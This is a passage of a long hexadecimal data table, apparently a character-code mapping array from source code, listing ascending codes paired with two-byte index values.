0xf3, 0x0a, +0x00, 0x0C, 0x3C, 0xf4, 0x0a, +0x00, 0x0C, 0x3D, 0xf5, 0x0a, +0x00, 0x0C, 0x3E, 0xf6, 0x0a, +0x00, 0x0C, 0x3F, 0xf7, 0x0a, +0x00, 0x0C, 0x40, 0xf8, 0x0a, +0x00, 0x0C, 0x41, 0xf9, 0x0a, +0x00, 0x0C, 0x42, 0xfa, 0x0a, +0x00, 0x0C, 0x43, 0xfb, 0x0a, +0x00, 0x0C, 0x44, 0xfc, 0x0a, +0x00, 0x0C, 0x45, 0xfd, 0x0a, +0x00, 0x0C, 0x46, 0xc0, 0x00, +0x00, 0x0C, 0x47, 0xfe, 0x0a, +0x00, 0x0C, 0x48, 0xff, 0x0a, +0x00, 0x0C, 0x49, 0x00, 0x0b, +0x00, 0x0C, 0x4A, 0x01, 0x0b, +0x00, 0x0C, 0x4B, 0x02, 0x0b, +0x00, 0x0C, 0x4C, 0x03, 0x0b, +0x00, 0x0C, 0x4D, 0x04, 0x0b, +0x00, 0x0C, 0x4E, 0x05, 0x0b, +0x00, 0x0C, 0x4F, 0x06, 0x0b, +0x00, 0x0C, 0x50, 0x70, 0x04, +0x00, 0x0C, 0x51, 0x8c, 0x01, +0x00, 0x0C, 0x52, 0x07, 0x0b, +0x00, 0x0C, 0x53, 0x65, 0x00, +0x00, 0x0C, 0x54, 0x08, 0x0b, +0x00, 0x0C, 0x55, 0x8a, 0x01, +0x00, 0x0C, 0x56, 0x09, 0x0b, +0x00, 0x0C, 0x57, 0x0a, 0x0b, +0x00, 0x0C, 0x58, 0x0b, 0x0b, +0x00, 0x0C, 0x59, 0x0c, 0x0b, +0x00, 0x0C, 0x5A, 0x0d, 0x0b, +0x00, 0x0C, 0x5B, 0x0e, 0x0b, +0x00, 0x0C, 0x5C, 0x0f, 0x0b, +0x00, 0x0C, 0x5D, 0x10, 0x0b, +0x00, 0x0C, 0x5E, 0x11, 0x0b, +0x00, 0x0C, 0x5F, 0x12, 0x0b, +0x00, 0x0C, 0x60, 0x13, 0x0b, +0x00, 0x0C, 0x61, 0x14, 0x0b, +0x00, 0x0C, 0x62, 0x15, 0x0b, +0x00, 0x0C, 0x63, 0x16, 0x0b, +0x00, 0x0C, 0x64, 0x17, 0x0b, +0x00, 0x0C, 0x65, 0x18, 0x0b, +0x00, 0x0C, 0x66, 0x19, 0x0b, +0x00, 0x0C, 0x67, 0x1a, 0x0b, +0x00, 0x0C, 0x68, 0x1b, 0x0b, +0x00, 0x0C, 0x69, 0xf5, 0x04, +0x00, 0x0C, 0x6A, 0x1c, 0x0b, +0x00, 0x0C, 0x6B, 0x1d, 0x0b, +0x00, 0x0C, 0x6C, 0x1e, 0x0b, +0x00, 0x0C, 0x6D, 0x1f, 0x0b, +0x00, 0x0C, 0x6E, 0x20, 0x0b, +0x00, 0x0C, 0x6F, 0x21, 0x0b, +0x00, 0x0C, 0x70, 0x22, 0x0b, +0x00, 0x0C, 0x71, 0x23, 0x0b, +0x00, 0x0C, 0x72, 0x24, 0x0b, +0x00, 0x0C, 0x73, 0x25, 0x0b, +0x00, 0x0C, 0x74, 0x26, 0x0b, +0x00, 0x0C, 0x75, 0x27, 0x0b, +0x00, 0x0C, 0x76, 0x28, 0x0b, +0x00, 0x0C, 0x77, 0x29, 0x0b, +0x00, 0x0C, 0x78, 0x2a, 0x0b, +0x00, 0x0C, 0x79, 0x2b, 0x0b, +0x00, 0x0C, 0x7A, 0x2c, 0x0b, +0x00, 0x0C, 0x7B, 0x30, 0x02, +0x00, 0x0C, 0x7C, 0x8e, 0x03, +0x00, 0x0C, 0x7D, 0x2d, 0x0b, +0x00, 0x0C, 0x7E, 0x2e, 0x0b, +0x00, 0x0C, 0x7F, 0x2f, 0x0b, +0x00, 0x0C, 0x80, 0x30, 0x0b, +0x00, 0x0C, 0x81, 0x4d, 0x00, +0x00, 0x0C, 0x82, 0x31, 0x0b, +0x00, 0x0C, 0x83, 0x32, 0x0b, +0x00, 0x0C, 0x84, 0x33, 0x0b, +0x00, 0x0C, 0x85, 0x05, 0x00, +0x00, 0x0C, 0x86, 0x05, 0x00, +0x00, 0x0C, 0x87, 0x34, 0x0b, +0x00, 0x0C, 0x88, 0x35, 0x0b, +0x00, 0x0C, 0x89, 0x36, 0x0b, +0x00, 0x0C, 0x8A, 0x37, 0x0b, +0x00, 0x0C, 0x8B, 0x38, 0x0b, +0x00, 0x0C, 0x8C, 0x39, 0x0b, +0x00, 0x0C, 0x8D, 0x3a, 0x0b, +0x00, 0x0C, 0x8E, 0x3b, 0x0b, +0x00, 0x0C, 0x8F, 0x3c, 0x0b, +0x00, 0x0C, 0x90, 0x3d, 0x0b, +0x00, 0x0C, 0x91, 0x3e, 0x0b, +0x00, 0x0C, 0x92, 0x3f, 0x0b, +0x00, 0x0C, 0x93, 0x40, 0x0b, +0x00, 0x0C, 0x94, 0x41, 0x0b, +0x00, 0x0C, 0x95, 0x42, 0x0b, +0x00, 0x0C, 0x96, 0x43, 0x0b, +0x00, 0x0C, 0x97, 0x44, 0x0b, +0x00, 0x0C, 0x98, 0x45, 0x0b, +0x00, 0x0C, 0x99, 0x46, 0x0b, +0x00, 0x0C, 0x9A, 0x47, 0x0b, +0x00, 0x0C, 0x9B, 0x48, 0x0b, +0x00, 0x0C, 0x9C, 0x49, 0x0b, +0x00, 0x0C, 0x9D, 0x4a, 0x0b, +0x00, 0x0C, 0x9E, 0x4b, 0x0b, +0x00, 0x0C, 0x9F, 0x4c, 0x0b, +0x00, 0x0C, 0xA0, 0x4d, 0x0b, +0x00, 0x0C, 0xA1, 0x4e, 0x0b, +0x00, 0x0C, 0xA2, 0x60, 0x09, +0x00, 0x0C, 0xA3, 0x4f, 0x0b, +0x00, 0x0C, 0xA4, 0x50, 0x0b, +0x00, 0x0C, 0xA5, 0x51, 0x0b, +0x00, 0x0C, 0xA6, 0x52, 0x0b, +0x00, 0x0C, 0xA7, 0x53, 0x0b, +0x00, 0x0C, 0xA8, 0x54, 0x0b, +0x00, 0x0C, 0xA9, 0x55, 0x0b, +0x00, 0x0C, 0xAA, 0x56, 0x0b, +0x00, 0x0C, 0xAB, 0x57, 0x0b, +0x00, 0x0C, 0xAC, 0x58, 0x0b, +0x00, 0x0C, 0xAD, 0x59, 0x0b, +0x00, 0x0C, 0xAE, 0x5a, 0x0b, +0x00, 0x0C, 0xAF, 0x5b, 0x0b, +0x00, 0x0C, 0xB0, 0x5c, 0x0b, +0x00, 0x0C, 0xB1, 0x5d, 0x0b, +0x00, 0x0C, 0xB2, 0x5e, 0x0b, +0x00, 0x0C, 0xB3, 0x5f, 0x0b, +0x00, 0x0C, 0xB4, 0x60, 0x0b, +0x00, 0x0C, 0xB5, 0x61, 0x0b, +0x00, 0x0C, 0xB6, 0x62, 0x0b, +0x00, 0x0C, 0xB7, 0x63, 0x0b, +0x00, 0x0C, 0xB8, 0x64, 0x0b, +0x00, 0x0C, 0xB9, 0x65, 0x0b, +0x00, 0x0C, 0xBA, 0x66, 0x0b, +0x00, 0x0C, 0xBB, 0x67, 0x0b, +0x00, 0x0C, 0xBC, 0x68, 0x0b, +0x00, 0x0C, 0xBD, 0xaa, 0x08, +0x00, 0x0C, 0xBE, 0x69, 0x0b, +0x00, 0x0C, 0xBF, 0x6a, 0x0b, +0x00, 0x0C, 0xC0, 0x6b, 0x0b, +0x00, 0x0C, 0xC1, 0x6c, 0x0b, +0x00, 0x0C, 0xC2, 0x6d, 0x0b, +0x00, 0x0C, 0xC3, 0x6e, 0x0b, +0x00, 0x0C, 0xC4, 0x6f, 0x0b, +0x00, 0x0C, 0xC5, 0x70, 0x0b, +0x00, 0x0C, 0xC6, 0x71, 0x0b, +0x00, 0x0C, 0xC7, 0xe9, 0x03, +0x00, 0x0C, 0xC8, 0x72, 0x0b, +0x00, 0x0C, 0xC9, 0x73, 0x0b, +0x00, 0x0C, 0xCA, 0x74, 0x0b, +0x00, 0x0C, 0xCB, 0x75, 0x0b, +0x00, 0x0C, 0xCC, 0x76, 0x0b, +0x00, 0x0C, 0xCD, 0x77, 0x0b, +0x00, 0x0C, 0xCE, 0x05, 0x00, +0x00, 0x0C, 0xCF, 0x05, 0x00, +0x00, 0x0C, 0xD0, 0x78, 0x0b, +0x00, 0x0C, 0xD1, 0x79, 0x0b, +0x00, 0x0C, 0xD2, 0x7a, 0x0b, +0x00, 0x0C, 0xD3, 0x7b, 0x0b, +0x00, 0x0C, 0xD4, 0x7c, 0x0b, +0x00, 0x0C, 0xD5, 0x7d, 0x0b, +0x00, 0x0C, 0xD6, 0x7e, 0x0b, +0x00, 0x0C, 0xD7, 0x7f, 0x0b, +0x00, 0x0C, 0xD8, 0x80, 0x0b, +0x00, 0x0C, 0xD9, 0x81, 0x0b, +0x00, 0x0C, 0xDA, 0x82, 0x0b, +0x00, 0x0C, 0xDB, 0x80, 0x00, +0x00, 0x0C, 0xDC, 0x83, 0x0b, +0x00, 0x0C, 0xDD, 0x84, 0x0b, +0x00, 0x0C, 0xDE, 0x85, 0x0b, +0x00, 0x0C, 0xDF, 0x86, 0x0b, +0x00, 0x0C, 0xE0, 0x87, 0x0b, +0x00, 0x0C, 0xE1, 0x88, 0x0b, +0x00, 0x0C, 0xE2, 0x89, 0x0b, +0x00, 0x0C, 0xE3, 0x8a, 0x0b, +0x00, 0x0C, 0xE4, 0x8b, 0x0b, +0x00, 0x0C, 0xE5, 0xb9, 0x00, +0x00, 0x0C, 0xE6, 0x8c, 0x0b, +0x00, 0x0C, 0xE7, 0xff, 0x08, +0x00, 0x0C, 0xE8, 0xd3, 0x06, +0x00, 0x0C, 0xE9, 0x8d, 0x0b, +0x00, 0x0C, 0xEA, 0x8e, 0x0b, +0x00, 0x0C, 0xEB, 0x8f, 0x0b, +0x00, 0x0C, 0xEC, 0x90, 0x0b, +0x00, 0x0C, 0xED, 0x91, 0x0b, +0x00, 0x0C, 0xEE, 0x92, 0x0b, +0x00, 0x0C, 0xEF, 0x14, 0x01, +0x00, 0x0C, 0xF0, 0x93, 0x0b, +0x00, 0x0C, 0xF1, 0x82, 0x02, +0x00, 0x0C, 0xF2, 0x94, 0x0b, +0x00, 0x0C, 0xF3, 0x95, 0x0b, +0x00, 0x0C, 0xF4, 0x96, 0x0b, +0x00, 0x0C, 0xF5, 0x97, 0x0b, +0x00, 0x0C, 0xF6, 0x98, 0x0b, +0x00, 0x0C, 0xF7, 0x69, 0x01, +0x00, 0x0C, 0xF8, 0x69, 0x01, +0x00, 0x0C, 0xF9, 0x99, 0x0b, +0x00, 0x0C, 0xFA, 0x9a, 0x0b, +0x00, 0x0C, 0xFB, 0x9b, 0x0b, +0x00, 0x0C, 0xFC, 0x9c, 0x0b, +0x00, 0x0C, 0xFD, 0x9d, 0x0b, +0x00, 0x0C, 0xFE, 0x9e, 0x0b, +0x00, 0x0C, 0xFF, 0x9f, 0x0b, +0x00, 0x0D, 0x00, 0xa0, 0x0b, +0x00, 0x0D, 0x01, 0xa1, 0x0b, +0x00, 0x0D, 0x02, 0xa2, 0x0b, +0x00, 0x0D, 0x03, 0xa3, 0x0b, +0x00, 0x0D, 0x04, 0xa4, 0x0b, +0x00, 0x0D, 0x05, 0x2d, 0x0a, +0x00, 0x0D, 0x06, 0xa5, 0x0b, +0x00, 0x0D, 0x07, 0xa6, 0x0b, +0x00, 0x0D, 0x08, 0xa7, 0x0b, +0x00, 0x0D, 0x09, 0xa8, 0x0b, +0x00, 0x0D, 0x0A, 0xa9, 0x0b, +0x00, 0x0D, 0x0B, 0xa2, 0x06, +0x00, 0x0D, 0x0C, 0xaa, 0x0b, +0x00, 0x0D, 0x0D, 0xab, 0x0b, +0x00, 0x0D, 0x0E, 0xac, 0x0b, +0x00, 0x0D, 0x0F, 0xad, 0x0b, +0x00, 0x0D, 0x10, 0xae, 0x0b, +0x00, 0x0D, 0x11, 0xaf, 0x0b, +0x00, 0x0D, 0x12, 0xb0, 0x0b, +0x00, 0x0D, 0x13, 0xb1, 0x0b, +0x00, 0x0D, 0x14, 0xb2, 0x0b, +0x00, 0x0D, 0x15, 0xb3, 0x0b, +0x00, 0x0D, 0x16, 0xb4, 0x0b, +0x00, 0x0D, 0x17, 0xb5, 0x0b, +0x00, 0x0D, 0x18, 0xb6, 0x0b, +0x00, 0x0D, 0x19, 0xb7, 0x0b, +0x00, 0x0D, 0x1A, 0xb8, 0x0b, +0x00, 0x0D, 0x1B, 0xb9, 0x0b, +0x00, 0x0D, 0x1C, 0xba, 0x0b, +0x00, 0x0D, 0x1D, 0xbb, 0x0b, +0x00, 0x0D, 0x1E, 0xbc, 0x0b, +0x00, 0x0D, 0x1F, 0xbd, 0x0b, +0x00, 0x0D, 0x20, 0xbe, 0x0b, +0x00, 0x0D, 0x21, 0xbf, 0x0b, +0x00, 0x0D, 0x22, 0xc0, 0x0b, +0x00, 0x0D, 0x23, 0xc1, 0x0b, +0x00, 0x0D, 0x24, 0xc2, 0x0b, +0x00, 0x0D, 0x25, 0xc3, 0x0b, +0x00, 0x0D, 0x26, 0xc4, 0x0b, +0x00, 0x0D, 0x27, 0xc5, 0x0b, +0x00, 0x0D, 0x28, 0x05, 0x00, +0x00, 0x0D, 0x29, 0x05, 0x00, +0x00, 0x0D, 0x2A, 0xc6, 0x0b, +0x00, 0x0D, 0x2B, 0xc7, 0x0b, +0x00, 0x0D, 0x2C, 0xc8, 0x0b, +0x00, 0x0D, 0x2D, 0xc9, 0x0b, +0x00, 0x0D, 0x2E, 0xdd, 0x00, +0x00, 0x0D, 0x2F, 0xca, 0x0b, +0x00, 0x0D, 0x30, 0xcb, 0x0b, +0x00, 0x0D, 0x31, 0xcc, 0x0b, +0x00, 0x0D, 0x32, 0xcd, 0x0b, +0x00, 0x0D, 0x33, 0xce, 0x0b, +0x00, 0x0D, 0x34, 0xcf, 0x0b, +0x00, 0x0D, 0x35, 0x22, 0x03, +0x00, 0x0D, 0x36, 0xd0, 0x0b, +0x00, 0x0D, 0x37, 0xd1, 0x0b, +0x00, 0x0D, 0x38, 0xd2, 0x0b, +0x00, 0x0D, 0x39, 0xfb, 0x01, +0x00, 0x0D, 0x3A, 0xb4, 0x03, +0x00, 0x0D, 0x3B, 0xd3, 0x0b, +0x00, 0x0D, 0x3C, 0xd4, 0x0b, +0x00, 0x0D, 0x3D, 0xd5, 0x0b, +0x00, 0x0D, 0x3E, 0xd6, 0x0b, +0x00, 0x0D, 0x3F, 0xd7, 0x0b, +0x00, 0x0D, 0x40, 0xd8, 0x0b, +0x00, 0x0D, 0x41, 0x70, 0x0a, +0x00, 0x0D, 0x42, 0xd9, 0x0b, +0x00, 0x0D, 0x43, 0xda, 0x0b, +0x00, 0x0D, 0x44, 0xdb, 0x0b, +0x00, 0x0D, 0x45, 0xdc, 0x0b, +0x00, 0x0D, 0x46, 0xdd, 0x0b, +0x00, 0x0D, 0x47, 0xde, 0x0b, +0x00, 0x0D, 0x48, 0xdf, 0x0b, +0x00, 0x0D, 0x49, 0xe0, 0x0b, +0x00, 0x0D, 0x4A, 0xe1, 0x0b, +0x00, 0x0D, 0x4B, 0xe2, 0x0b, +0x00, 0x0D, 0x4C, 0xe3, 0x0b, +0x00, 0x0D, 0x4D, 0xe4, 0x0b, +0x00, 0x0D, 0x4E, 0xe5, 0x0b, +0x00, 0x0D, 0x4F, 0xe6, 0x0b, +0x00, 0x0D, 0x50, 0xe7, 0x0b, +0x00, 0x0D, 0x51, 0xe8, 0x0b, +0x00, 0x0D, 0x52, 0xe9, 0x0b, +0x00, 0x0D, 0x53, 0xea, 0x0b, +0x00, 0x0D, 0x54, 0xf2, 0x00, +0x00, 0x0D, 0x55, 0xeb, 0x0b, +0x00, 0x0D, 0x56, 0xd1, 0x05, +0x00, 0x0D, 0x57, 0xec, 0x0b, +0x00, 0x0D, 0x58, 0x65, 0x00, +0x00, 0x0D, 0x59, 0xed, 0x0b, +0x00, 0x0D, 0x5A, 0xee, 0x0b, +0x00, 0x0D, 0x5B, 0xef, 0x0b, +0x00, 0x0D, 0x5C, 0xf0, 0x0b, +0x00, 0x0D, 0x5D, 0xf1, 0x0b, +0x00, 0x0D, 0x5E, 0xf2, 0x0b, +0x00, 0x0D, 0x5F, 0xf3, 0x0b, +0x00, 0x0D, 0x60, 0x2f, 0x02, +0x00, 0x0D, 0x61, 0xf4, 0x0b, +0x00, 0x0D, 0x62, 0xf5, 0x0b, +0x00, 0x0D, 0x63, 0xf6, 0x0b, +0x00, 0x0D, 0x64, 0xf7, 0x0b, +0x00, 0x0D, 0x65, 0x05, 0x00, +0x00, 0x0D, 0x66, 0x05, 0x00, +0x00, 0x0D, 0x67, 0xce, 0x01, +0x00, 0x0D, 0x68, 0xf8, 0x0b, +0x00, 0x0D, 0x69, 0xf9, 0x0b, +0x00, 0x0D, 0x6A, 0xfa, 0x0b, +0x00, 0x0D, 0x6B, 0xfb, 0x0b, +0x00, 0x0D, 0x6C, 0xfc, 0x0b, +0x00, 0x0D, 0x6D, 0xfd, 0x0b, +0x00, 0x0D, 0x6E, 0xfe, 0x0b, +0x00, 0x0D, 0x6F, 0xff, 0x0b, +0x00, 0x0D, 0x70, 0x00, 0x0c, +0x00, 0x0D, 0x71, 0x01, 0x0c, +0x00, 0x0D, 0x72, 0x02, 0x0c, +0x00, 0x0D, 0x73, 0x35, 0x06, +0x00, 0x0D, 0x74, 0x03, 0x0c, +0x00, 0x0D, 0x75, 0x04, 0x0c, +0x00, 0x0D, 0x76, 0x05, 0x0c, +0x00, 0x0D, 0x77, 0x06, 0x0c, +0x00, 0x0D, 0x78, 0x07, 0x0c, +0x00, 0x0D, 0x79, 0x08, 0x0c, +0x00, 0x0D, 0x7A, 0x09, 0x0c, +0x00, 0x0D, 0x7B, 0x0a, 0x0c, +0x00, 0x0D, 0x7C, 0x0b, 0x0c, +0x00, 0x0D, 0x7D, 0x0c, 0x0c, +0x00, 0x0D, 0x7E, 0x0d, 0x0c, +0x00, 0x0D, 0x7F, 0x0e, 0x0c, +0x00, 0x0D, 0x80, 0x0f, 0x0c, +0x00, 0x0D, 0x81, 0x10, 0x0c, +0x00, 0x0D, 0x82, 0x11, 0x0c, +0x00, 0x0D, 0x83, 0x12, 0x0c, +0x00, 0x0D, 0x84, 0x13, 0x0c, +0x00, 0x0D, 0x85, 0x14, 0x0c, +0x00, 0x0D, 0x86, 0x15, 0x0c, +0x00, 0x0D, 0x87, 0xee, 0x06, +0x00, 0x0D, 0x88, 0xe8, 0x04, +0x00, 0x0D, 0x89, 0x16, 0x0c, +0x00, 0x0D, 0x8A, 0x17, 0x0c, +0x00, 0x0D, 0x8B, 0x18, 0x0c, +0x00, 0x0D, 0x8C, 0x0e, 0x03, +0x00, 0x0D, 0x8D, 0x19, 0x0c, +0x00, 0x0D, 0x8E, 0x1a, 0x0c, +0x00, 0x0D, 0x8F, 0x1b, 0x0c, +0x00, 0x0D, 0x90, 0x1c, 0x0c, +0x00, 0x0D, 0x91, 0x1d, 0x0c, +0x00, 0x0D, 0x92, 0xed, 0x02, +0x00, 0x0D, 0x93, 0x51, 0x03, +0x00, 0x0D, 0x94, 0x1e, 0x0c, +0x00, 0x0D, 0x95, 0x1f, 0x0c, +0x00, 0x0D, 0x96, 0x20, 0x0c, +0x00, 0x0D, 0x97, 0x21, 0x0c, +0x00, 0x0D, 0x98, 0x22, 0x0c, +0x00, 0x0D, 0x99, 0x23, 0x0c, +0x00, 0x0D, 0x9A, 0x24, 0x0c, +0x00, 0x0D, 0x9B, 0x25, 0x0c, +0x00, 0x0D, 0x9C, 0x26, 0x0c, +0x00, 0x0D, 0x9D, 0xc9, 0x01, +0x00, 0x0D, 0x9E, 0x27, 0x0c, +0x00, 0x0D, 0x9F, 0x28, 0x0c, +0x00, 0x0D, 0xA0, 0x29, 0x0c, +0x00, 0x0D, 0xA1, 0x2a, 0x0c, +0x00, 0x0D, 0xA2, 0x2b, 0x0c, +0x00, 0x0D, 0xA3, 0x2c, 0x0c, +0x00, 0x0D, 0xA4, 0x2d, 0x0c, +0x00, 0x0D, 0xA5, 0x2e, 0x0c, +0x00, 0x0D, 0xA6, 0x0a, 0x01, +0x00, 0x0D, 0xA7, 0x65, 0x00, +0x00, 0x0D, 0xA8, 0x2f, 0x0c, +0x00, 0x0D, 0xA9, 0x30, 0x0c, +0x00, 0x0D, 0xAA, 0x31, 0x0c, +0x00, 0x0D, 0xAB, 0x32, 0x0c, +0x00, 0x0D, 0xAC, 0x33, 0x0c, +0x00, 0x0D, 0xAD, 0x34, 0x0c, +0x00, 0x0D, 0xAE, 0x35, 0x0c, +0x00, 0x0D, 0xAF, 0x36, 0x0c, +0x00, 0x0D, 0xB0, 0x37, 0x0c, +0x00, 0x0D, 0xB1, 0x38, 0x0c, +0x00, 0x0D, 0xB2, 0x39, 0x0c, +0x00, 0x0D, 0xB3, 0x3a, 0x0c, +0x00, 0x0D, 0xB4, 0x3b, 0x0c, +0x00, 0x0D, 0xB5, 0x3c, 0x0c, +0x00, 0x0D, 0xB6, 0x35, 0x05, +0x00, 0x0D, 0xB7, 0xbd, 0x03, +0x00, 0x0D, 0xB8, 0x3d, 0x0c, +0x00, 0x0D, 0xB9, 0x3e, 0x0c, +0x00, 0x0D, 0xBA, 0x3f, 0x0c, +0x00, 0x0D, 0xBB, 0x86, 0x03, +0x00, 0x0D, 0xBC, 0x05, 0x00, +0x00, 0x0D, 0xBD, 0x05, 0x00, +0x00, 0x0D, 0xBE, 0x40, 0x0c, +0x00, 0x0D, 0xBF, 0x41, 0x0c, +0x00, 0x0D, 0xC0, 0x42, 0x0c, +0x00, 0x0D, 0xC1, 0x43, 0x0c, +0x00, 0x0D, 0xC2, 0x65, 0x00, +0x00, 0x0D, 0xC3, 0x44, 0x0c, +0x00, 0x0D, 0xC4, 0x45, 0x0c, +0x00, 0x0D, 0xC5, 0x46, 0x0c, +0x00, 0x0D, 0xC6, 0x47, 0x0c, +0x00, 0x0D, 0xC7, 0x48, 0x0c, +0x00, 0x0D, 0xC8, 0x49, 0x0c, +0x00, 0x0D, 0xC9, 0x4a, 0x0c, +0x00, 0x0D, 0xCA, 0x4b, 0x0c, +0x00, 0x0D, 0xCB, 0x4c, 0x0c, +0x00, 0x0D, 0xCC, 0x4d, 0x0c, +0x00, 0x0D, 0xCD, 0x4e, 0x0c, +0x00, 0x0D, 0xCE, 0x4f, 0x0c, +0x00, 0x0D, 0xCF, 0x50, 0x0c, +0x00, 0x0D, 0xD0, 0x51, 0x0c, +0x00, 0x0D, 0xD1, 0x52, 0x0c, +0x00, 0x0D, 0xD2, 0x53, 0x0c, +0x00, 0x0D, 0xD3, 0x54, 0x0c, +0x00, 0x0D, 0xD4, 0x55, 0x0c, +0x00, 0x0D, 0xD5, 0x56, 0x0c, +0x00, 0x0D, 0xD6, 0x57, 0x0c, +0x00, 0x0D, 0xD7, 0x58, 0x0c, +0x00, 0x0D, 0xD8, 0x59, 0x0c, +0x00, 0x0D, 0xD9, 0x5a, 0x0c, +0x00, 0x0D, 0xDA, 0xc0, 0x00, +0x00, 0x0D, 0xDB, 0x5b, 0x0c, +0x00, 0x0D, 0xDC, 0x5c, 0x0c, +0x00, 0x0D, 0xDD, 0x5d, 0x0c, +0x00, 0x0D, 0xDE, 0x5e, 0x0c, +0x00, 0x0D, 0xDF, 0x5f, 0x0c, +0x00, 0x0D, 0xE0, 0x60, 0x0c, +0x00, 0x0D, 0xE1, 0x61, 0x0c, +0x00, 0x0D, 0xE2, 0x62, 0x0c, +0x00, 0x0D, 0xE3, 0x63, 0x0c, +0x00, 0x0D, 0xE4, 0x64, 0x0c, +0x00, 0x0D, 0xE5, 0x2c, 0x08, +0x00, 0x0D, 0xE6, 0x65, 0x0c, +0x00, 0x0D, 0xE7, 0x66, 0x0c, +0x00, 0x0D, 0xE8, 0x67, 0x0c, +0x00, 0x0D, 0xE9, 0x68, 0x0c, +0x00, 0x0D, 0xEA, 0x69, 0x0c, +0x00, 0x0D, 0xEB, 0x6a, 0x0c, +0x00, 0x0D, 0xEC, 0x05, 0x00, +0x00, 0x0D, 0xED, 0x05, 0x00, +0x00, 0x0D, 0xEE, 0x6b, 0x0c, +0x00, 0x0D, 0xEF, 0x6c, 0x0c, +0x00, 0x0D, 0xF0, 0x6d, 0x0c, +0x00, 0x0D, 0xF1, 0x6e, 0x0c, +0x00, 0x0D, 0xF2, 0x65, 0x00, +0x00, 0x0D, 0xF3, 0x6f, 0x0c, +0x00, 0x0D, 0xF4, 0x70, 0x0c, +0x00, 0x0D, 0xF5, 0x2f, 0x0c, +0x00, 0x0D, 0xF6, 0x71, 0x0c, +0x00, 0x0D, 0xF7, 0x72, 0x0c, +0x00, 0x0D, 0xF8, 0x73, 0x0c, +0x00, 0x0D, 0xF9, 0x74, 0x0c, +0x00, 0x0D, 0xFA, 0x75, 0x0c, +0x00, 0x0D, 0xFB, 0x76, 0x0c, +0x00, 0x0D, 0xFC, 0x77, 0x0c, +0x00, 0x0D, 0xFD, 0x78, 0x0c, +0x00, 0x0D, 0xFE, 0x79, 0x0c, +0x00, 0x0D, 0xFF, 0x7a, 0x0c, +0x00, 0x0E, 0x00, 0x7b, 0x0c, +0x00, 0x0E, 0x01, 0x7c, 0x0c, +0x00, 0x0E, 0x02, 0x78, 0x0a, +0x00, 0x0E, 0x03, 0x2b, 0x09, +0x00, 0x0E, 0x04, 0x7d, 0x0c, +0x00, 0x0E, 0x05, 0x61, 0x01, +0x00, 0x0E, 0x06, 0x7e, 0x0c, +0x00, 0x0E, 0x07, 0xbe, 0x09, +0x00, 0x0E, 0x08, 0xf9, 0x0a, +0x00, 0x0E, 0x09, 0xe9, 0x01, +0x00, 0x0E, 0x0A, 0x7f, 0x0c, +0x00, 0x0E, 0x0B, 0x80, 0x0c, +0x00, 0x0E, 0x0C, 0x82, 0x02, +0x00, 0x0E, 0x0D, 0x81, 0x0c, +0x00, 0x0E, 0x0E, 0x82, 0x0c, +0x00, 0x0E, 0x0F, 0x83, 0x0c, +0x00, 0x0E, 0x10, 0x84, 0x0c, +0x00, 0x0E, 0x11, 0x85, 0x0c, +0x00, 0x0E, 0x12, 0x86, 0x0c, +0x00, 0x0E, 0x13, 0x87, 0x0c, +0x00, 0x0E, 0x14, 0x88, 0x0c, +0x00, 0x0E, 0x15, 0x89, 0x0c, +0x00, 0x0E, 0x16, 0x8a, 0x0c, +0x00, 0x0E, 0x17, 0x65, 0x00, +0x00, 0x0E, 0x18, 0x8b, 0x0c, +0x00, 0x0E, 0x19, 0x8c, 0x0c, +0x00, 0x0E, 0x1A, 0x8d, 0x0c, +0x00, 0x0E, 0x1B, 0x8e, 0x0c, +0x00, 0x0E, 0x1C, 0x8f, 0x0c, +0x00, 0x0E, 0x1D, 0x90, 0x0c, +0x00, 0x0E, 0x1E, 0x91, 0x0c, +0x00, 0x0E, 0x1F, 0x92, 0x0c, +0x00, 0x0E, 0x20, 0x93, 0x0c, +0x00, 0x0E, 0x21, 0x94, 0x0c, +0x00, 0x0E, 0x22, 0x65, 0x00, +0x00, 0x0E, 0x23, 0x95, 0x0c, +0x00, 0x0E, 0x24, 0x96, 0x0c, +0x00, 0x0E, 0x25, 0x97, 0x0c, +0x00, 0x0E, 0x26, 0x98, 0x0c, +0x00, 0x0E, 0x27, 0x99, 0x0c, +0x00, 0x0E, 0x28, 0x9a, 0x0c, +0x00, 0x0E, 0x29, 0x9b, 0x0c, +0x00, 0x0E, 0x2A, 0x65, 0x00, +0x00, 0x0E, 0x2B, 0x9c, 0x0c, +0x00, 0x0E, 0x2C, 0x9d, 0x0c, +0x00, 0x0E, 0x2D, 0x9e, 0x0c, +0x00, 0x0E, 0x2E, 0x9f, 0x0c, +0x00, 0x0E, 0x2F, 0xa0, 0x0c, +0x00, 0x0E, 0x30, 0xa1, 0x0c, +0x00, 0x0E, 0x31, 0xa2, 0x0c, +0x00, 0x0E, 0x32, 0xa3, 0x0c, +0x00, 0x0E, 0x33, 0xa4, 0x0c, +0x00, 0x0E, 0x34, 0xa5, 0x0c, +0x00, 0x0E, 0x35, 0x82, 0x02, +0x00, 0x0E, 0x36, 0xa6, 0x0c, +0x00, 0x0E, 0x37, 0xa7, 0x0c, +0x00, 0x0E, 0x38, 0x05, 0x00, +0x00, 0x0E, 0x39, 0x05, 0x00, +0x00, 0x0E, 0x3A, 0xa8, 0x0c, +0x00, 0x0E, 0x3B, 0xa9, 0x0c, +0x00, 0x0E, 0x3C, 0xaa, 0x0c, +0x00, 0x0E, 0x3D, 0xab, 0x0c, +0x00, 0x0E, 0x3E, 0xac, 0x0c, +0x00, 0x0E, 0x3F, 0x42, 0x05, +0x00, 0x0E, 0x40, 0x69, 0x01, +0x00, 0x0E, 0x41, 0xad, 0x0c, +0x00, 0x0E, 0x42, 0xae, 0x0c, +0x00, 0x0E, 0x43, 0xaf, 0x0c, +0x00, 0x0E, 0x44, 0xb0, 0x0c, +0x00, 0x0E, 0x45, 0xb1, 0x0c, +0x00, 0x0E, 0x46, 0xb2, 0x0c, +0x00, 0x0E, 0x47, 0xb3, 0x0c, +0x00, 0x0E, 0x48, 0xb4, 0x0c, +0x00, 0x0E, 0x49, 0xb5, 0x0c, +0x00, 0x0E, 0x4A, 0xb6, 0x0c, +0x00, 0x0E, 0x4B, 0xb7, 0x0c, +0x00, 0x0E, 0x4C, 0xb8, 0x0c, +0x00, 0x0E, 0x4D, 0xb9, 0x0c, +0x00, 0x0E, 0x4E, 0xba, 0x0c, +0x00, 0x0E, 0x4F, 0xbb, 0x0c, +0x00, 0x0E, 0x50, 0xbc, 0x0c, +0x00, 0x0E, 0x51, 0xbd, 0x0c, +0x00, 0x0E, 0x52, 0xbe, 0x0c, +0x00, 0x0E, 0x53, 0xbf, 